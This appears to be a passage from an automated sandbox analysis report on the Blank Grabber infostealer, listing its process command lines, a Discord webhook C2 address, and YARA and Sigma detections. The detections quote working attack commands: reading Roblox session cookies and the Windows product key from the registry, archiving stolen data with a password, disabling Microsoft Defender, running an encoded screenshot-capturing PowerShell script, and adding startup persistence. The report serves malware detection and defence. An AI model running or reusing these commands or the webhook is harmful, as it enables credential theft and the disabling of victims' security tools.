attrib.exe (PID: 2840 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 8052 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7700 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7384 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7768 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 4340 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 1420 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 3020 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7916 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7952 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4940 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2308 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7276 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 4444 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7228 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7444 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 2564 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7000 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7092 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7500 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 7412 cmdline: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 7420 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2208 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 1420 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1704 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3940 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2648 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3244 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8100 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1196 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7256 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8148 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4940 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7620 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPsm1-wFNZP3qTm1buU6tOMG"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI32202\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1702090319.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2178616618.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2170059092.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2166479596.000001AE1E122000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2173409124.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2175138187.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1680237831.000001C32AC85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1680237831.000001C32AC83000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2176893974.000001AE1D044000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.2172415408.000001AE1D7E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: phost.exe PID: 3220	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: phost.exe PID: 3444	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: phost.exe PID: 3444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: phost.exe PID: 3444	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 19 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\phost.exe", ParentImage: C:\Users\user\Desktop\phost.exe, ParentProcessId: 3444, ParentProcessName: phost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'", ProcessId: 1136, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\phost.exe", ParentImage: C:\Users\user\Desktop\phost.exe, ParentProcessId: 3444, ParentProcessName: phost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\phost.exe", ParentImage: C:\Users\user\Desktop\phost.exe, ParentProcessId: 3444, ParentProcessName: phost.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *", ProcessId: 7500, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\phost.exe, ProcessId: 3444, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB